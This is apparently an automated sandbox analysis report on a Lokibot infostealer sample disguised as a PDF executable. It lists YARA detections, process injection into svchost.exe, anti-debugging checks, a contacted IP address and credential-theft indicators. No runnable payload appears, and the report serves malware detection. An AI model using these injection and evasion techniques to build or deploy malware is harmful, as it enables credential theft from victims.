Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MV XH DOLPHINPDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982550995.0000000003B20000.00000004.00001000.00020000.00000000.sdmp, MV XH DOLPHINPDF.exe, 00000000.00000003.1981765972.0000000003C10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982550995.0000000003B20000.00000004.00001000.00020000.00000000.sdmp, MV XH DOLPHINPDF.exe, 00000000.00000003.1981765972.0000000003C10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: svchost.exe, svchost.exe, 00000002.00000002.3213045257.0000000000CA1000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: svchost.pdbUGP source: svchost.exe, 00000002.00000002.3213045257.0000000000CA1000.00000020.00000001.01000000.00000005.sdmp

Source: MV XH DOLPHINPDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MV XH DOLPHINPDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MV XH DOLPHINPDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MV XH DOLPHINPDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MV XH DOLPHINPDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Yara detected aPLib compressed binary

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5504, type: MEMORYSTR

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000FC304 LoadLibraryA,GetProcAddress,

0_2_000FC304

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0008C590 push eax; retn 0008h	0_2_0008C599
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A8B85 push ecx; ret	0_2_000A8B98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AC0 push eax; ret	2_2_00402AD4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AC0 push eax; ret	2_2_00402AFC

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00CA3360 I_RegisterSvchostNotificationCallback,StartServiceCtrlDispatcherW,ExitProcess,

2_2_00CA3360

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00084A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00084A35
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_001055FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_001055FD

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000A33C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_000A33C7

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-99063

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

API coverage: 4.6 %

Source: C:\Windows\SysWOW64\svchost.exe TID: 3288

Thread sleep time: -1380000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_000E4696
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EC93C FindFirstFileW,FindClose,	0_2_000EC93C
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_000EC9C7
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_000EF200
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_000EF35D
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_000EF65E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_000E3A2B
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_000E3D4E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_000EBF27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,	2_2_00403D74

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00084AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00084AFE

Source: C:\Windows\SysWOW64\svchost.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: svchost.exe, 00000002.00000002.3213289622.0000000003200000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	API call chain: ExitProcess graph end node			graph_0-98072
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	API call chain: ExitProcess graph end node			graph_0-98275

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000F41FD BlockInput,

0_2_000F41FD

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00083B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00083B4C

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000B5CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_000B5CCC

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000FC304 LoadLibraryA,GetProcAddress,

0_2_000FC304

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_01DD3540 mov eax, dword ptr fs:[00000030h]	0_2_01DD3540
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_01DD34E0 mov eax, dword ptr fs:[00000030h]	0_2_01DD34E0
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_01DD1ED0 mov eax, dword ptr fs:[00000030h]	0_2_01DD1ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040317B mov eax, dword ptr fs:[00000030h]	2_2_0040317B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3060 mov eax, dword ptr fs:[00000030h]	2_2_00CA3060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3060 mov eax, dword ptr fs:[00000030h]	2_2_00CA3060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3060 mov eax, dword ptr fs:[00000030h]	2_2_00CA3060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3060 mov eax, dword ptr fs:[00000030h]	2_2_00CA3060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4410 mov eax, dword ptr fs:[00000030h]	2_2_00CA4410
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4410 mov eax, dword ptr fs:[00000030h]	2_2_00CA4410
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3540 mov eax, dword ptr fs:[00000030h]	2_2_00CA3540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3540 mov eax, dword ptr fs:[00000030h]	2_2_00CA3540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3540 mov eax, dword ptr fs:[00000030h]	2_2_00CA3540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA56A0 mov eax, dword ptr fs:[00000030h]	2_2_00CA56A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA56A0 mov ecx, dword ptr fs:[00000030h]	2_2_00CA56A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4610 mov eax, dword ptr fs:[00000030h]	2_2_00CA4610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4610 mov eax, dword ptr fs:[00000030h]	2_2_00CA4610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4610 mov eax, dword ptr fs:[00000030h]	2_2_00CA4610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA4610 mov eax, dword ptr fs:[00000030h]	2_2_00CA4610

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000D81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_000D81F7

Source: C:\Windows\SysWOW64\svchost.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000AA364 SetUnhandledExceptionFilter,	0_2_000AA364
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000AA395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000AA395
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA5848 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00CA5848
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA33C0 NtSetInformationProcess,SetUnhandledExceptionFilter,SetErrorMode,GetProcessHeap,InitializeSRWLock,InitializeSRWLock,RegDisablePredefinedCacheEx,EtwEventRegister,GetCommandLineW,memset,GetCurrentProcess,NtSetInformationProcess,HeapFree,HeapFree,ExitProcess,GetCurrentProcess,SetProcessAffinityUpdateMode,	2_2_00CA33C0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 104.21.85.101 80

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2F59008

Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000D8C93 LogonUserW,

0_2_000D8C93

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00083B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00083B4C

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00084A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00084A35

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000E4EC9 mouse_event,

0_2_000E4EC9

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"

Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

0_2_000D81F7

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000E4C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_000E4C03

Source: MV XH DOLPHINPDF.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: MV XH DOLPHINPDF.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000A886B cpuid

0_2_000A886B

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000B50D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000B50D7

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000C2230 GetUserNameW,

0_2_000C2230

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000B418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_000B418A

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00084AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00084AFE

Source: C:\Windows\SysWOW64\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
